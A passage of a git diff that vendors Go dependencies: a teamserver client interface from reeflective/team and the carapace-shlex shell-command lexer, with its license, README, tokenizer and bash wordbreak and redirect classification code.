+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import "time"
+
+// Client is the smallest interface which should be implemented by all
+// teamclients of any sort, regardless of their use of the client/server
+// packages in the reeflective/team Go module.
+// This interface has been declared with various aims in mind:
+// - To provide a base reference/hint about what minimum functionality
+// is to be provided by the teamclients and teamservers alike.
+// - To harmonize the use of team/client and team/server core drivers.
+type Client interface {
+ // Users returns the list of teamserver users and their status.
+ Users() ([]User, error)
+ // VersionClient returns the compilation/version information for the client.
+ VersionClient() (Version, error)
+ // VersionServer returns the compilation/version information from a connected teamserver.
+ VersionServer() (Version, error)
+}
+
+// User represents a teamserver user.
+// This user shall be registered to a teamserver (ie. the teamserver should
+// be in possession of the user cryptographic materials required to serve him)
+// This type is returned by both team/clients and team/servers.
+type User struct {
+ Name string
+ Online bool
+ LastSeen time.Time
+ Clients int
+}
+
+// Version returns complete version/compilation information for a given binary.
+// Therefore, two distinct version information can be provided by a teamclient
+// connected to a remote (distinct runtime) server: the client binary version,
+// and the server binary version.
+// When a teamserver is serving itself in-memory, both versions will thus be identical.
+//
+// Note to developers: updating your teamserver/teamclient version information
+// requires you to use `go generate ./...` at the root of your Go module code.
+// The team/server and team/client will thus embed their respective version
+// informations thanks to an automatic shell script generation.
+// See the https://github.com/reeflective/team README/doc for more details.
+type Version struct {
+ Major int32
+ Minor int32
+ Patch int32
+ Commit string
+ Dirty bool
+ CompiledAt int64
+ OS string
+ Arch string
+}
diff --git a/vendor/github.com/rsteube/carapace-shlex/.gitignore b/vendor/github.com/rsteube/carapace-shlex/.gitignore
new file mode 100644
index 0000000000..73675b8536
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace-shlex/.gitignore
@@ -0,0 +1,2 @@
+cmd/carapace-shlex/carapace-shlex
+profile.cov
diff --git a/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt b/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt
new file mode 100644
index 0000000000..d645695673
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt
@@ -0,0 +1,202 @@
+
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/vendor/github.com/rsteube/carapace-shlex/README.md b/vendor/github.com/rsteube/carapace-shlex/README.md
new file mode 100644
index 0000000000..bd6047846a
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace-shlex/README.md
@@ -0,0 +1,12 @@
+# carapace-shlex
+
+[![PkgGoDev](https://pkg.go.dev/badge/github.com/rsteube/carapace-shlex)](https://pkg.go.dev/github.com/rsteube/carapace-shlex)
+[![GoReportCard](https://goreportcard.com/badge/github.com/rsteube/carapace-shlex)](https://goreportcard.com/report/github.com/rsteube/carapace-shlex)
+[![Coverage Status](https://coveralls.io/repos/github/rsteube/carapace-shlex/badge.svg?branch=master)](https://coveralls.io/github/rsteube/carapace-shlex?branch=master)
+
+Fork of [go-shlex](https://github.com/google/shlex) aimed to enable completion of complex commands passed as single argument with [Split] in [carapace].
+
+[![asciicast](https://asciinema.org/a/599580.svg)](https://asciinema.org/a/599580)
+
+[Split]:https://rsteube.github.io/carapace/carapace/action/split.html
+[carapace]:https://github.com/rsteube/carapace
diff --git a/vendor/github.com/rsteube/carapace-shlex/go.work b/vendor/github.com/rsteube/carapace-shlex/go.work
new file mode 100644
index 0000000000..4fcb83e584
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace-shlex/go.work
@@ -0,0 +1,6 @@
+go 1.19
+
+use (
+ .
+ ./cmd
+)
diff --git a/vendor/github.com/rsteube/carapace-shlex/shlex.go b/vendor/github.com/rsteube/carapace-shlex/shlex.go
new file mode 100644
index 0000000000..caedbfc994
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace-shlex/shlex.go
@@ -0,0 +1,419 @@
+package shlex
+
+import (
+ "bufio"
+ "encoding/json"
+ "fmt"
+ "io"
+ "os"
+ "strings"
+)
+
+// TokenType is a top-level token classification: A word, space, comment, unknown.
+type TokenType int
+
+func (t TokenType) MarshalJSON() ([]byte, error) {
+ return json.Marshal(tokenTypes[t])
+}
+
+// runeTokenClass is the type of a UTF-8 character classification: A quote, space, escape.
+type runeTokenClass int
+
+// the internal state used by the lexer state machine
+type LexerState int
+
+func (l LexerState) MarshalJSON() ([]byte, error) {
+ return json.Marshal(lexerStates[l])
+}
+
+// Token is a (type, value) pair representing a lexographical token.
+type Token struct {
+ Type TokenType
+ Value string
+ RawValue string
+ Index int
+ State LexerState
+ WordbreakType WordbreakType `json:",omitempty"`
+ WordbreakIndex int // index of last opening quote in Value (only correct when in quoting state)
+}
+
+func (t *Token) add(r rune) {
+ t.Value += string(r)
+}
+
+func (t *Token) removeLastRaw() {
+ runes := []rune(t.RawValue)
+ t.RawValue = string(runes[:len(runes)-1])
+}
+
+func (t Token) adjoins(other Token) bool {
+ return t.Index+len(t.RawValue) == other.Index || t.Index == other.Index+len(other.RawValue)
+}
+
+// Equal reports whether tokens a, and b, are equal.
+// Two tokens are equal if both their types and values are equal. A nil token can
+// never be equal to another token.
+func (t *Token) Equal(other *Token) bool {
+ switch {
+ case t == nil,
+ other == nil,
+ t.Type != other.Type,
+ t.Value != other.Value,
+ t.RawValue != other.RawValue,
+ t.Index != other.Index,
+ t.State != other.State,
+ t.WordbreakType != other.WordbreakType,
+ t.WordbreakIndex != other.WordbreakIndex:
+ return false
+ default:
+ return true
+ }
+}
+
+// Named classes of UTF-8 runes
+const (
+ spaceRunes = " \t\r\n"
+ escapingQuoteRunes = `"`
+ nonEscapingQuoteRunes = "'"
+ escapeRunes = `\`
+ commentRunes = "#"
+)
+
+// Classes of rune token
+const (
+ unknownRuneClass runeTokenClass = iota
+ spaceRuneClass
+ escapingQuoteRuneClass
+ nonEscapingQuoteRuneClass
+ escapeRuneClass
+ commentRuneClass
+ wordbreakRuneClass
+ eofRuneClass
+)
+
+// Classes of lexographic token
+const (
+ UNKNOWN_TOKEN TokenType = iota
+ WORD_TOKEN
+ SPACE_TOKEN
+ COMMENT_TOKEN
+ WORDBREAK_TOKEN
+)
+
+var tokenTypes = map[TokenType]string{
+ UNKNOWN_TOKEN: "UNKNOWN_TOKEN",
+ WORD_TOKEN: "WORD_TOKEN",
+ SPACE_TOKEN: "SPACE_TOKEN",
+ COMMENT_TOKEN: "COMMENT_TOKEN",
+ WORDBREAK_TOKEN: "WORDBREAK_TOKEN",
+}
+
+// Lexer state machine states
+const (
+ START_STATE LexerState = iota // no runes have been seen
+ IN_WORD_STATE // processing regular runes in a word
+ ESCAPING_STATE // we have just consumed an escape rune; the next rune is literal
+ ESCAPING_QUOTED_STATE // we have just consumed an escape rune within a quoted string
+ QUOTING_ESCAPING_STATE // we are within a quoted string that supports escaping ("...")
+ QUOTING_STATE // we are within a string that does not support escaping ('...')
+ COMMENT_STATE // we are within a comment (everything following an unquoted or unescaped #
+ WORDBREAK_STATE // we have just consumed a wordbreak rune
+)
+
+var lexerStates = map[LexerState]string{
+ START_STATE: "START_STATE",
+ IN_WORD_STATE: "IN_WORD_STATE",
+ ESCAPING_STATE: "ESCAPING_STATE",
+ ESCAPING_QUOTED_STATE: "ESCAPING_QUOTED_STATE",
+ QUOTING_ESCAPING_STATE: "QUOTING_ESCAPING_STATE",
+ QUOTING_STATE: "QUOTING_STATE",
+ COMMENT_STATE: "COMMENT_STATE",
+ WORDBREAK_STATE: "WORDBREAK_STATE",
+}
+
+// tokenClassifier is used for classifying rune characters.
+type tokenClassifier map[rune]runeTokenClass
+
+func (typeMap tokenClassifier) addRuneClass(runes string, tokenType runeTokenClass) {
+ for _, runeChar := range runes {
+ typeMap[runeChar] = tokenType
+ }
+}
+
+// newDefaultClassifier creates a new classifier for ASCII characters.
+func newDefaultClassifier() tokenClassifier {
+ t := tokenClassifier{}
+ t.addRuneClass(spaceRunes, spaceRuneClass)
+ t.addRuneClass(escapingQuoteRunes, escapingQuoteRuneClass)
+ t.addRuneClass(nonEscapingQuoteRunes, nonEscapingQuoteRuneClass)
+ t.addRuneClass(escapeRunes, escapeRuneClass)
+ t.addRuneClass(commentRunes, commentRuneClass)
+
+ wordbreakRunes := BASH_WORDBREAKS
+ if wordbreaks := os.Getenv("COMP_WORDBREAKS"); wordbreaks != "" {
+ wordbreakRunes = wordbreaks
+ }
+ filtered := make([]rune, 0)
+ for _, r := range wordbreakRunes {
+ if t.ClassifyRune(r) == unknownRuneClass {
+ filtered = append(filtered, r)
+ }
+ }
+ t.addRuneClass(string(filtered), wordbreakRuneClass)
+
+ return t
+}
+
+// ClassifyRune classifiees a rune
+func (t tokenClassifier) ClassifyRune(runeVal rune) runeTokenClass {
+ return t[runeVal]
+}
+
+// lexer turns an input stream into a sequence of tokens. Whitespace and comments are skipped.
+type lexer tokenizer
+
+// newLexer creates a new lexer from an input stream.
+func newLexer(r io.Reader) *lexer {
+ return (*lexer)(newTokenizer(r))
+}
+
+// Next returns the next token, or an error. If there are no more tokens,
+// the error will be io.EOF.
+func (l *lexer) Next() (*Token, error) {
+ for {
+ token, err := (*tokenizer)(l).Next()
+ if err != nil {
+ return token, err
+ }
+ switch token.Type {
+ case WORD_TOKEN, WORDBREAK_TOKEN:
+ return token, nil
+ case COMMENT_TOKEN:
+ // skip comments
+ default:
+ return nil, fmt.Errorf("unknown token type: %v", token.Type)
+ }
+ }
+}
+
+// tokenizer turns an input stream into a sequence of typed tokens
+type tokenizer struct {
+ input bufio.Reader
+ classifier tokenClassifier
+ index int
+ state LexerState
+}
+
+func (t *tokenizer) ReadRune() (r rune, size int, err error) {
+ if r, size, err = t.input.ReadRune(); err == nil {
+ t.index += 1
+ }
+ return
+}
+
+func (t *tokenizer) UnreadRune() (err error) {
+ if err = t.input.UnreadRune(); err == nil {
+ t.index -= 1
+ }
+ return
+}
+
+// newTokenizer creates a new tokenizer from an input stream.
+func newTokenizer(r io.Reader) *tokenizer {
+ input := bufio.NewReader(r)
+ classifier := newDefaultClassifier()
+ return &tokenizer{
+ input: *input,
+ classifier: classifier}
+}
+
+// scanStream scans the stream for the next token using the internal state machine.
+// It will panic if it encounters a rune which it does not know how to handle.
+func (t *tokenizer) scanStream() (*Token, error) {
+ previousState := t.state
+ t.state = START_STATE
+ token := &Token{}
+ var nextRune rune
+ var nextRuneType runeTokenClass
+ var err error
+ consumed := 0
+
+ for {
+ nextRune, _, err = t.ReadRune()
+ nextRuneType = t.classifier.ClassifyRune(nextRune)
+ token.RawValue += string(nextRune)
+ consumed += 1 // TODO find a nicer solution for this
+
+ switch {
+ case err == io.EOF:
+ nextRuneType = eofRuneClass
+ err = nil
+ case err != nil:
+ return nil, err
+ }
+
+ switch t.state {
+ case START_STATE: // no runes read yet
+ {
+ if nextRuneType != spaceRuneClass {
+ token.Index = t.index - 1
+ }
+ switch nextRuneType {
+ case eofRuneClass:
+ switch {
+ case t.index == 0: // tonkenizer contains an empty string
+ token.removeLastRaw()
+ token.Type = WORD_TOKEN
+ token.Index = t.index
+ t.index += 1
+ return token, nil // return an additional empty token for current cursor position
+ case previousState == WORDBREAK_STATE, consumed > 1: // consumed is greater than 1 when when there were spaceRunes before
+ token.removeLastRaw()
+ token.Type = WORD_TOKEN
+ token.Index = t.index
+ return token, nil // return an additional empty token for current cursor position
+ default:
+ return nil, io.EOF
+ }
+ case spaceRuneClass:
+ token.removeLastRaw()
+ case escapingQuoteRuneClass:
+ token.Type = WORD_TOKEN
+ t.state = QUOTING_ESCAPING_STATE
+ token.WordbreakIndex = len(token.Value)
+ case nonEscapingQuoteRuneClass:
+ token.Type = WORD_TOKEN
+ t.state = QUOTING_STATE
+ token.WordbreakIndex = len(token.Value)
+ case escapeRuneClass:
+ token.Type = WORD_TOKEN
+ t.state = ESCAPING_STATE
+ case commentRuneClass:
+ token.Type = COMMENT_TOKEN
+ t.state = COMMENT_STATE
+ case wordbreakRuneClass:
+ token.Type = WORDBREAK_TOKEN
+ token.add(nextRune)
+ t.state = WORDBREAK_STATE
+ default:
+ token.Type = WORD_TOKEN
+ token.add(nextRune)
+ t.state = IN_WORD_STATE
+ }
+ }
+ case WORDBREAK_STATE:
+ switch nextRuneType {
+ case wordbreakRuneClass:
+ token.add(nextRune)
+ default:
+ token.removeLastRaw()
+ t.UnreadRune()
+ return token, err
+ }
+ case IN_WORD_STATE: // in a regular word
+ switch nextRuneType {
+ case wordbreakRuneClass:
+ token.removeLastRaw()
+ t.UnreadRune()
+ return token, err
+ case eofRuneClass, spaceRuneClass:
+ token.removeLastRaw()
+ t.UnreadRune()
+ return token, err
+ case escapingQuoteRuneClass:
+ t.state = QUOTING_ESCAPING_STATE
+ token.WordbreakIndex = len(token.Value)
+ case nonEscapingQuoteRuneClass:
+ t.state = QUOTING_STATE
+ token.WordbreakIndex = len(token.Value)
+ case escapeRuneClass:
+ t.state = ESCAPING_STATE
+ default:
+ token.add(nextRune)
+ }
+ case ESCAPING_STATE: // the rune after an escape character
+ switch nextRuneType {
+ case eofRuneClass: // EOF found after escape character
+ token.removeLastRaw()
+ return token, err
+ default:
+ t.state = IN_WORD_STATE
+ token.add(nextRune)
+ }
+ case ESCAPING_QUOTED_STATE: // the next rune after an escape character, in double quotes
+ switch nextRuneType {
+ case eofRuneClass: // EOF found after escape character
+ token.removeLastRaw()
+ return token, err
+ default:
+ t.state = QUOTING_ESCAPING_STATE
+ token.add(nextRune)
+ }
+ case QUOTING_ESCAPING_STATE: // in escaping double quotes
+ switch nextRuneType {
+ case eofRuneClass: // EOF found when expecting closing quote
+ token.removeLastRaw()
+ return token, err
+ case escapingQuoteRuneClass:
+ t.state = IN_WORD_STATE
+ case escapeRuneClass:
+ t.state = ESCAPING_QUOTED_STATE
+ default:
+ token.add(nextRune)
+ }
+ case QUOTING_STATE: // in non-escaping single quotes
+ switch nextRuneType {
+ case eofRuneClass: // EOF found when expecting closing quote
+ token.removeLastRaw()
+ return token, err
+ case nonEscapingQuoteRuneClass:
+ t.state = IN_WORD_STATE
+ default:
+ token.add(nextRune)
+ }
+ case COMMENT_STATE: // in a comment
+ switch nextRuneType {
+ case eofRuneClass:
+ return token, err
+ case spaceRuneClass:
+ if nextRune == '\n' {
+ token.removeLastRaw()
+ t.state = START_STATE
+ return token, err
+ } else {
+ token.add(nextRune)
+ }
+ default:
+ token.add(nextRune)
+ }
+ default:
+ return nil, fmt.Errorf("unexpected state: %v", t.state)
+ }
+ }
+}
+
+// Next returns the next token in the stream.
+func (t *tokenizer) Next() (*Token, error) {
+ token, err := t.scanStream()
+ if err == nil {
+ token.State = t.state // TODO should be done in scanStream
+ token.WordbreakType = wordbreakType(*token)
+ }
+ return token, err
+}
+
+// Split partitions of a string into tokens.
+func Split(s string) (TokenSlice, error) {
+ l := newLexer(strings.NewReader(s))
+ tokens := make(TokenSlice, 0)
+ for {
+ token, err := l.Next()
+ if err != nil {
+ if err == io.EOF {
+ return tokens, nil
+ }
+ return nil, err
+ }
+ tokens = append(tokens, *token)
+ }
+}
diff --git a/vendor/github.com/rsteube/carapace-shlex/tokenslice.go b/vendor/github.com/rsteube/carapace-shlex/tokenslice.go
new file mode 100644
index 0000000000..7377676669
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace-shlex/tokenslice.go
@@ -0,0 +1,123 @@
+package shlex
+
+import (
+ "strconv"
+)
+
+type TokenSlice []Token
+
+func (t TokenSlice) Strings() []string {
+ s := make([]string, 0, len(t))
+ for _, token := range t {
+ s = append(s, token.Value)
+ }
+ return s
+}
+
+func (t TokenSlice) Pipelines() []TokenSlice {
+ pipelines := make([]TokenSlice, 0)
+
+ pipeline := make(TokenSlice, 0)
+ for _, token := range t {
+ switch {
+ case token.Type == WORDBREAK_TOKEN && wordbreakType(token).IsPipelineDelimiter():
+ pipelines = append(pipelines, pipeline)
+ pipeline = make(TokenSlice, 0)
+ default:
+ pipeline = append(pipeline, token)
+ }
+ }
+ return append(pipelines, pipeline)
+}
+
+func (t TokenSlice) CurrentPipeline() TokenSlice {
+ pipelines := t.Pipelines()
+ return pipelines[len(pipelines)-1]
+}
+
+func (t TokenSlice) Words() TokenSlice {
+ words := make(TokenSlice, 0)
+ for index, token := range t {
+ switch {
+ case index == 0:
+ words = append(words, token)
+ case t[index-1].adjoins(token):
+ words[len(words)-1].Value += token.Value
+ words[len(words)-1].RawValue += token.RawValue
+ words[len(words)-1].State = token.State
+ default:
+ words = append(words, token)
+ }
+ }
+ return words
+}
+
+func (t TokenSlice) FilterRedirects() TokenSlice {
+ filtered := make(TokenSlice, 0)
+ for index, token := range t {
+ switch token.Type {
+ case WORDBREAK_TOKEN:
+ if wordbreakType(token).IsRedirect() {
+ continue
+ }
+ }
+
+ if index > 0 {
+ if wordbreakType(t[index-1]).IsRedirect() {
+ continue
+ }
+ }
+
+ if index < len(t)-1 {
+ next := t[index+1]
+ if token.adjoins(next) {
+ if _, err := strconv.Atoi(token.RawValue); err == nil {
+ if wordbreakType(t[index+1]).IsRedirect() {
+ continue
+ }
+ }
+ }
+
+ }
+
+ filtered = append(filtered, token)
+ }
+ return filtered
+}
+
+func (t TokenSlice) CurrentToken() (token Token) {
+ if len(t) > 0 {
+ token = t[len(t)-1]
+ }
+ return
+}
+
+func (t TokenSlice) WordbreakPrefix() string {
+ found := false
+ prefix := ""
+
+ last := t[len(t)-1]
+ switch last.State {
+ case QUOTING_STATE, QUOTING_ESCAPING_STATE, ESCAPING_QUOTED_STATE:
+ // Seems bash handles the last opening quote as wordbreak when in quoting state.
+ // So add value up to last opening quote to prefix.
+ found = true
+ prefix = last.Value[:last.WordbreakIndex]
+ }
+
+ for i := len(t) - 2; i >= 0; i-- {
+ token := t[i]
+ if !token.adjoins(t[i+1]) {
+ break
+ }
+
+ if token.Type == WORDBREAK_TOKEN {
+ found = true
+ }
+
+ if found {
+ prefix = token.Value + prefix
+ }
+ }
+ return prefix
+}
diff --git a/vendor/github.com/rsteube/carapace-shlex/wordbreak.go b/vendor/github.com/rsteube/carapace-shlex/wordbreak.go
new file mode 100644
index 0000000000..8bfcd0d620
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace-shlex/wordbreak.go
@@ -0,0 +1,122 @@
+package shlex
+
+import "encoding/json"
+
+const BASH_WORDBREAKS = " \t\r\n" + `"'><=;|&(:`
+
+type WordbreakType int
+
+const (
+ WORDBREAK_UNKNOWN WordbreakType = iota
+ // https://www.gnu.org/software/bash/manual/html_node/Redirections.html
+ WORDBREAK_REDIRECT_INPUT
+ WORDBREAK_REDIRECT_OUTPUT
+ WORDBREAK_REDIRECT_OUTPUT_APPEND
+ WORDBREAK_REDIRECT_OUTPUT_BOTH
+ WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND
+ WORDBREAK_REDIRECT_INPUT_STRING
+ WORDBREAK_REDIRECT_INPUT_DUPLICATE
+ WORDBREAK_REDIRECT_INPUT_OUTPUT
+ // https://www.gnu.org/software/bash/manual/html_node/Pipelines.html
+ WORDBREAK_PIPE
+ WORDBREAK_PIPE_WITH_STDERR
+ // https://www.gnu.org/software/bash/manual/html_node/Lists.html)
+ WORDBREAK_LIST_ASYNC
+ WORDBREAK_LIST_SEQUENTIAL
+ WORDBREAK_LIST_AND
+ WORDBREAK_LIST_OR
+ // COMP_WORDBREAKS
+ WORDBREAK_CUSTOM
+)
+
+var wordbreakTypes = map[WordbreakType]string{
+ WORDBREAK_UNKNOWN: "WORDBREAK_UNKNOWN",
+ WORDBREAK_REDIRECT_INPUT: "WORDBREAK_REDIRECT_INPUT",
+ WORDBREAK_REDIRECT_OUTPUT: "WORDBREAK_REDIRECT_OUTPUT",
+ WORDBREAK_REDIRECT_OUTPUT_APPEND: "WORDBREAK_REDIRECT_OUTPUT_APPEND",
+ WORDBREAK_REDIRECT_OUTPUT_BOTH: "WORDBREAK_REDIRECT_OUTPUT_BOTH",
+ WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND: "WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND",
+ WORDBREAK_REDIRECT_INPUT_STRING: "WORDBREAK_REDIRECT_INPUT_STRING",
+ WORDBREAK_REDIRECT_INPUT_DUPLICATE: "WORDBREAK_REDIRECT_INPUT_DUPLICATE",
+ WORDBREAK_REDIRECT_INPUT_OUTPUT: "WORDBREAK_REDIRECT_INPUT_OUTPUT",
+ WORDBREAK_PIPE: "WORDBREAK_PIPE",
+ WORDBREAK_PIPE_WITH_STDERR: "WORDBREAK_PIPE_WITH_STDERR",
+ WORDBREAK_LIST_ASYNC: "WORDBREAK_LIST_ASYNC",
+ WORDBREAK_LIST_SEQUENTIAL: "WORDBREAK_LIST_SEQUENTIAL",
+ WORDBREAK_LIST_AND: "WORDBREAK_LIST_AND",
+ WORDBREAK_LIST_OR: "WORDBREAK_LIST_OR",
+ WORDBREAK_CUSTOM: "WORDBREAK_CUSTOM",
+}
+
+func (w WordbreakType) MarshalJSON() ([]byte, error) {
+ return json.Marshal(wordbreakTypes[w])
+}
+
+func (w WordbreakType) IsPipelineDelimiter() bool {
+ switch w {
+ case
+ WORDBREAK_PIPE,
+ WORDBREAK_PIPE_WITH_STDERR,
+ WORDBREAK_LIST_ASYNC,
+ WORDBREAK_LIST_SEQUENTIAL,
+ WORDBREAK_LIST_AND,
+ WORDBREAK_LIST_OR:
+ return true
+ default:
+ return false
+ }
+}
+
+func (w WordbreakType) IsRedirect() bool {
+ switch w {
+ case
+ WORDBREAK_REDIRECT_INPUT,
+ WORDBREAK_REDIRECT_OUTPUT,
+ WORDBREAK_REDIRECT_OUTPUT_APPEND,
+ WORDBREAK_REDIRECT_OUTPUT_BOTH,
+ WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND,
+ WORDBREAK_REDIRECT_INPUT_STRING,
+ WORDBREAK_REDIRECT_INPUT_DUPLICATE,
+ WORDBREAK_REDIRECT_INPUT_OUTPUT:
+ return true
+ default:
+ return false
+ }
+
+}
+
+func wordbreakType(t Token) WordbreakType {
+ switch t.RawValue {
+ case "<":
+ return WORDBREAK_REDIRECT_INPUT
+ case ">":
+ return WORDBREAK_REDIRECT_OUTPUT
+ case ">>":
+ return WORDBREAK_REDIRECT_OUTPUT_APPEND
+ case "&>", ">&":
+ return WORDBREAK_REDIRECT_OUTPUT_BOTH
